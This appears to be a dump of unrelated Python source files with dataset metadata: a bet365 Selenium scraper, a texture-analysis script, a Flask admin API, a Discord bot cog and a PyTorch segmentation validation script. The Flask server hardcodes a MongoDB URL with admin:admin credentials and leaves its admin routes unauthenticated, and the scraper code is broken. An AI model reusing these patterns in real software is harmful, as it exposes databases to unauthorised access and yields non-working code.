Chrome,ChromeOptions\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport datetime\nimport PyChromeDevTools\nfrom nba_playbyplay1 import nba\nclass bet365():\n def __init__(self):\n self.Date = datetime.datetime.today().strftime('%Y%m%d')\n self.driver_path = 'C:/Users/Administrator/Downloads/chromedriver'\n self.Options = ChromeOptions()\n self.url =\"https://www.7788365365.com/?&cb=105812118651#/IP/\"\n def navigate(self,index):\n driver_game = Chrome(chrome_options=self.Options, executable_path = self.driver_path)\n driver_game.get(self.url)\n driver_game.find_element_by_xpath('//div[@title=\"现场滚球盘\"]').click()\n wait = WebDriverWait(driver_game, 10)\n element = wait.until(EC.element_to_be_clickable((By.XPATH ,'//a[text()=\"滚球盘\"]')))\n element.click()\n wait = WebDriverWait(driver_game, 10)\n element = wait.until(EC.element_to_be_clickable((By.XPATH ,'//div[text()=\"盘口查看\"]')))\n element.click()\n wait = WebDriverWait(driver_game, 10)\n element = wait.until(EC.element_to_be_clickable((By.XPATH ,'//div[text()=\"篮球\"]')))\n element.click()\n driver_game.find_elements_by_xpath('//div[contains(@class,\"ipo-Fixture_ScoreDisplay ipo-ScoreDisplayPoints\")]')[index]\n\n def ChromeDevToolsConnect(self):\n chrome = PyChromeDevTools.ChromeInterface()\n chrome.Network.enable()\n chrome.DOM.enable()\n chrome.Page.navigate(url = self.url)\n chrome.ws.settimeout(10)\n return chrome\n\n\n def gameRefresh(self):\n driver = Chrome(chrome_options=self.Options, executable_path=self.driver_path)\n driver.get(self.url)\n driver.find_element_by_xpath('//div[@title=\"现场滚球盘\"]').click()\n wait = WebDriverWait(driver, 10)\n element = wait.until(EC.element_to_be_clickable((By.XPATH ,'//a[text()=\"滚球盘\"]')))\n element.click()\n wait = WebDriverWait(driver, 10)\n element = wait.until(EC.element_to_be_clickable((By.XPATH ,'//div[text()=\"盘口查看\"]')))\n element.click()\n wait = WebDriverWait(driver, 10)\n element = wait.until(EC.element_to_be_clickable((By.XPATH ,'//div[text()=\"篮球\"]')))\n element.click()\n teams = driver.find_elements_by_xpath('//div[contains(@class,\"ipo-Fixture_ScoreDisplay ipo-ScoreDisplayPoints\")]')\n game =[]\n for index,team in enumerate(teams):\n self.navigate(index)\n chrome = ChromeDevToolsConnect\n game = nba(page.chrome)\n teamAway = team.text.split(\"\\n\")[0]\n teamHome = team.text.split(\"\\n\")[1]\n game.append(teamAway+'VS'+teamHome+Date)\n games = driver.find_elements_by_xpath('//div[contains(@class,\"ipo-FixtureEventCountButton_EventCountWrapper\")]')\n driver.refresh()\n p=0\n\n\n\n\n\n", "sub_path": "modules/bet365NEW/top_selenium.py", "file_name": "top_selenium.py", "file_ext": "py", "file_size_in_byte": 3020, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "datetime.datetime.today", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 12, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 15, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 19, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 21, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 22, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 22, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 22, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 24, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 25, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 25, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 25, "usage_type": "name"}, {"api_name": "PyChromeDevTools.ChromeInterface", "line_number": 30, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 39, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 42, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 43, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 43, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 43, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 43, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 45, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 46, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 46, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 46, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 46, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 48, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.element_to_be_clickable", "line_number": 49, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 49, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 49, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 49, "usage_type": "name"}, {"api_name": "nba_playbyplay1.nba", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "246179623", "text": "import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nfrom scipy import signal as sg\n\n#이미지 읽기\nimage = cv2.imread('pebbles.jpg')\nimage2 = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n(rows, cols) = gray.shape[:2]\n\n#이미지 전처리\nsmooth_kernel = (1/25)*np.ones((5,5))\ngray_smooth = sg.convolve(gray, smooth_kernel, \"same\")\n\ngray_processed = np.abs(gray - gray_smooth)\n\n#전처리된 이미지 시각화\nplt.figure('Image pre-processing')\nplt.subplot(221)\nplt.title('Image')\nplt.imshow(image2)\nplt.subplot(222)\nplt.title('Gray')\nplt.imshow(gray, 'gray')\nplt.subplot(223)\nplt.title('Smoothing')\nplt.imshow(gray_smooth,'gray')\nplt.subplot(224)\nplt.title('Subtract smoothing')\nplt.imshow(gray_processed, 'gray')\n\nfilter_vectors = np.array([[1,4,6,4,1],\n [-1,-2,0,2,1],\n [-1,0,2,0,1],\n [1,-4,6,-4,1]])\n\nfilters = list()\nfor i in range(4):\n for j in range(4):\n filters.append(np.matmul(filter_vectors[i][:].reshape(5,1),\n filter_vectors[j][:].reshape(1,5)))\n\n# convolution 연산 및 convmap조합\nconv_maps = np.zeros((rows, cols, 16))\nfor i in range(len(filters)):\n conv_maps[:,:,i] = sg.convolve(gray_processed, filters[i],'same')\n\n#9+1개 중요한 texture map 계산\ntexture_maps = list()\ntexture_maps.append((conv_maps[:,:,1]+conv_maps[:,:,4])//2)\ntexture_maps.append((conv_maps[:,:,2]+conv_maps[:,:,8])//2)\ntexture_maps.append((conv_maps[:,:,3]+conv_maps[:,:,12])//2)\ntexture_maps.append((conv_maps[:,:,7]+conv_maps[:,:,13])//2)\ntexture_maps.append((conv_maps[:,:,6]+conv_maps[:,:,9])//2)\ntexture_maps.append((conv_maps[:,:,11]+conv_maps[:,:,14])//2)\ntexture_maps.append(conv_maps[:,:,10])\ntexture_maps.append(conv_maps[:,:,5])\ntexture_maps.append(conv_maps[:,:,15])\ntexture_maps.append(conv_maps[:,:,0])\n\n# law;s texture energy계산\nTEM = list()\nfor i in range(9):\n TEM.append(np.abs(texture_maps[i]).sum() / np.abs(texture_maps[9]).sum())\n\ndef norm(ar):\n return 255.*np.absolute(ar)/np.max(ar)\n\nplt.figure('Texture Maps')\nplt.subplot(331)\nplt.title('L5E5/E5L5')\nplt.imshow(norm(texture_maps[0]),'gray')\nplt.subplot(332)\nplt.title('L5S5/S5L5')\nplt.imshow(norm(texture_maps[1]),'gray')\nplt.subplot(333)\nplt.title('L5R5/R5E5')\nplt.imshow(norm(texture_maps[2]),'gray')\nplt.subplot(334)\nplt.title('E5R5/R5E5')\nplt.imshow(norm(texture_maps[3]),'gray')\nplt.subplot(335)\nplt.title('E5S5/S5E5')\nplt.imshow(norm(texture_maps[4]),'gray')\nplt.subplot(336)\nplt.title('S5R5/R5S5')\nplt.imshow(norm(texture_maps[5]),'gray')\nplt.subplot(337)\nplt.title('S5S5')\nplt.imshow(norm(texture_maps[6]),'gray')\nplt.subplot(338)\nplt.title('E5E5')\nplt.imshow(norm(texture_maps[7]),'gray')\nplt.subplot(339)\nplt.title('R5R5')\nplt.imshow(norm(texture_maps[8]),'gray')\n\nprint(TEM)\nplt.tight_layout()\nplt.show()", "sub_path": "Extract_features/LawsEnergy.py", "file_name": "LawsEnergy.py", "file_ext": "py", "file_size_in_byte": 2878, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.imread", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 8, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 13, "usage_type": "call"}, {"api_name": "scipy.signal.convolve", "line_number": 14, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.signal.convolve", "line_number": 47, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "200469661", "text": "from flask import jsonify,request\nfrom mashup_app.database import *\nimport json\nfrom mashup_app import create_app,database\n\n\n\n\napp = create_app()\n\n@app.route(\"/admin/delete/country\",methods=['DELETE'])\ndef delete_country():\n name = request.args.get('country_name')\n connect('region')\n for e in Region.objects:\n for a in e.country_in_region:\n if a.name.lower() == name.lower():\n e.country_in_region.remove(a)\n Region(e.name,e.country_in_region).save()\n return jsonify('delete sucessfully'),200\n return jsonify('no such data in database'),404\n\n\n@app.route(\"/admin/delete/region\",methods=['DELETE'])\ndef delete_region():\n name = request.args.get('region_name')\n connect('region')\n for e in Region.objects:\n if e.name.lower() == name.lower():\n e.delete()\n return jsonify('delete sucessfully'),200\n return jsonify('no such data in database'),404\n\n\n@app.route(\"/admin/post\",methods=['POST'])\ndef post_country():\n country = request.args.get('country_name')\n region = request.args.get('region_name')\n year = request.args.get('year')\n CO2 = request.args.get('CO2')\n GDP = request.args.get('GDP')\n connect('region')\n for re in Region.objects:\n if region.lower() == re.name.lower():\n for coun in re.country_in_region:\n if country.lower() == coun.name.lower():\n for ye in coun.statistic:\n if year == ye.year:\n ye.co2_emission =CO2\n ye.GDP = GDP\n Region(re.name,re.country_in_region).save()\n return jsonify('post sucessfully'),200\n coun.statistic.append(Year(year,CO2,GDP))\n Region(re.name, re.country_in_region).save()\n return jsonify('post sucessfully'), 200\n return jsonify('Wrong input'),404\n\n\n\n@app.route(\"/admin/refresh\",methods =['PUT'])\ndef refresh():\n upload()\n return jsonify('Finished'),200\n\n\n\n@app.route(\"/admin/country\", methods = ['GET'])\ndef get_region():\n name = request.args.get('country_name')\n connect('region')\n if name:\n for e in Region.objects:\n country = e.to_json()\n country = json.loads(country)\n for country_name in country['country_in_region']:\n if country_name['_id'].lower() == name.lower():\n return jsonify(country),200\n return jsonify('no such data in database'),404\n\n\n\n\n\n@app.route(\"/admin/region\",methods = ['GET'])\ndef get_name():\n name = request.args.get('region_name')\n connect('region')\n if name:\n for l in Region.objects:\n if name.lower() == l.name.lower():\n a = l.to_json()\n e = json.loads(a)\n return jsonify(e), 200\n return jsonify('no such data in the database'),404\n\n\n\n\n\nif __name__ == '__main__':\n database.connect(host='mongodb://admin:admin@ds215370.mlab.com:15370/ass_3')\n app.run(debug=True)\n", "sub_path": "Mashup_app/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 3087, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "mashup_app.create_app", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 55, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 77, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 92, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 94, "usage_type": "call"}, {"api_name": "mashup_app.database.connect", "line_number": 101, "usage_type": "call"}, {"api_name": "mashup_app.database", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "158432521", "text": "import discord, random, asyncio\nfrom discord.ext import commands as client\nfrom Cogs.config import conf\n#Imports\n\n\nclass Invite(client.Cog):#Class thing no touchy!!!111\n\n def __init__(self, bot):\n self.b = bot #Please no touchy thx\n\n @client.command()\n async def invite(self,ctx): # we make arg1 so we can have the command as this \"n_ask my dad is in jail lmao\" and it will obviously respond, if your missing the \"answer arg\" which comes after the command then the command will obviously not run\n e = discord.Embed(title=\"My invite link!\", description=\"F-fine! I guess I can join someone else's server, too... but I probably won't like it!\", colour=conf.norm)\n e.add_field(name=\"Here goes...\", value=\"[Click here to invite me!](https://discordbots.org/bot/433834936450023424)\", inline=True)\n await ctx.send(embed=e)\n\n\ndef setup(bot):#No no child keep your hands off or this will break and not load\n bot.add_cog(Invite(bot))\n", "sub_path": "natsuki/Cogs/invite.py", "file_name": "invite.py", "file_ext": "py", "file_size_in_byte": 965, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "discord.ext.commands.Cog", "line_number": 7, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 7, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 14, "usage_type": "call"}, {"api_name": "Cogs.config.conf.norm", "line_number": 14, "usage_type": "attribute"}, {"api_name": "Cogs.config.conf", "line_number": 14, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 12, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 12, "usage_type": "name"}]} +{"seq_id": "415706552", "text": "##########################\n# Nicola Altini (2020)\n# V-Net for Hippocampus Segmentation from MRI with PyTorch\n##########################\n\n##########################\n# Imports\n##########################\nimport numpy as np\nimport torch\nfrom sklearn.model_selection import KFold\n\n##########################\n# Local Imports\n##########################\nfrom config.config import *\nfrom config.paths import logs_folder, train_images, train_labels\nfrom semseg.utils import train_val_split\nfrom semseg.train_torchio import val_model\nfrom semseg.data_loader_torchio import TorchIODataLoader3DValidation\n\n##########################\n# Check training set\n##########################\nnum_train_images = len(train_images)\nnum_train_labels = len(train_labels)\n\nassert num_train_images == num_train_labels, \"Mismatch in number of training images and labels!\"\n\nprint(\"There are: {} Training Images\".format(num_train_images))\nprint(\"There are: {} Training Labels\".format(num_train_labels))\n\n##########################\n# Config\n##########################\nconfig = SemSegMRIConfig()\nconfig.batch_size = 1\nattributes_config = [attr for attr in dir(config)\n if not attr.startswith('__')]\nprint(\"Train Config\")\nfor item in attributes_config:\n print(\"{:15s} ==> {}\".format(item, getattr(config, item)))\n\npath_net = \"logs/model.pt\"\npath_nets_crossval = [\"logs/model_folder_{:d}.pt\".format(idx) for idx in range(config.num_folders)]\n\n##########################\n# Val loop\n##########################\ncuda_dev = torch.device('cuda')\n\nif config.do_crossval:\n ##########################\n # cross-validation\n ##########################\n num_val_images = num_train_images // config.num_folders\n\n multi_dices_crossval = list()\n mean_multi_dice_crossval = list()\n std_multi_dice_crossval = list()\n\n kf = KFold(n_splits=config.num_folders)\n for idx, (train_index, val_index) in enumerate(kf.split(train_images)):\n print(\"+==================+\")\n print(\"+ Cross Validation +\")\n print(\"+ Folder {:d} +\".format(idx))\n print(\"+==================+\")\n print(\"TRAIN [Images: {:3d}]:\\n{}\".format(len(train_index), train_index))\n print(\"VAL [Images: {:3d}]:\\n{}\".format(len(val_index), val_index))\n train_images_list, val_images_list, train_labels_list, val_labels_list = \\\n train_val_split(train_images, train_labels, train_index, val_index)\n config.train_images, config.val_images = train_images_list, val_images_list\n config.train_labels, config.val_labels = train_labels_list, val_labels_list\n\n ##########################\n # Training (cross-validation)\n ##########################\n model_path = path_nets_crossval[idx]\n print(\"Model: {}\".format(model_path))\n net = torch.load(model_path)\n\n ##########################\n # Validation (cross-validation)\n ##########################\n val_data_loader_3D = TorchIODataLoader3DValidation(config)\n multi_dices, mean_multi_dice, std_multi_dice = val_model(net, val_data_loader_3D,\n config, device=cuda_dev)\n multi_dices_crossval.append(multi_dices)\n mean_multi_dice_crossval.append(mean_multi_dice)\n std_multi_dice_crossval.append(std_multi_dice)\n torch.save(net, os.path.join(logs_folder, \"model_folder_{:d}.pt\".format(idx)))\n\n ##########################\n # Saving Validation Results\n ##########################\n multi_dices_crossval_flatten = [item for sublist in multi_dices_crossval for item in sublist]\n mean_multi_dice_crossval_flatten = np.mean(multi_dices_crossval_flatten)\n std_multi_dice_crossval_flatten = np.std(multi_dices_crossval_flatten)\n print(\"Multi-Dice: {:.4f} +/- {:.4f}\".format(mean_multi_dice_crossval_flatten, std_multi_dice_crossval_flatten))\n # Multi-Dice: 0.8668 +/- 0.0337\n\n", "sub_path": "test_torchio.py", "file_name": "test_torchio.py", "file_ext": "py", "file_size_in_byte": 3925, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "config.paths.train_images", "line_number": 25, "usage_type": "argument"}, {"api_name": "config.paths.train_labels", "line_number": 26, "usage_type": "argument"}, {"api_name": "config.config", "line_number": 36, "usage_type": "name"}, {"api_name": "config.config.batch_size", "line_number": 37, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 37, "usage_type": "name"}, {"api_name": "config.config", "line_number": 38, "usage_type": "argument"}, {"api_name": "config.config", "line_number": 42, "usage_type": "argument"}, {"api_name": "config.config.num_folders", "line_number": 45, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 50, "usage_type": "call"}, {"api_name": "config.config.do_crossval", "line_number": 52, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 52, "usage_type": "name"}, {"api_name": "config.config.num_folders", "line_number": 56, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 56, "usage_type": "name"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 62, "usage_type": "call"}, {"api_name": "config.config.num_folders", "line_number": 62, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 62, "usage_type": "name"}, {"api_name": "config.paths.train_images", "line_number": 63, "usage_type": "argument"}, {"api_name": "semseg.utils.train_val_split", "line_number": 71, "usage_type": "call"}, {"api_name": "config.paths.train_images", "line_number": 71, "usage_type": "argument"}, {"api_name": "config.paths.train_labels", "line_number": 71, "usage_type": "argument"}, {"api_name": "config.config.train_images", "line_number": 72, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 72, "usage_type": "name"}, {"api_name": "config.config.val_images", "line_number": 72, "usage_type": "attribute"}, {"api_name": "config.config.train_labels", "line_number": 73, "usage_type": "attribute"}, {"api_name": "config.config", "line_number": 73, "usage_type": "name"}, {"api_name": "config.config.val_labels", "line_number": 73, "usage_type": "attribute"}, 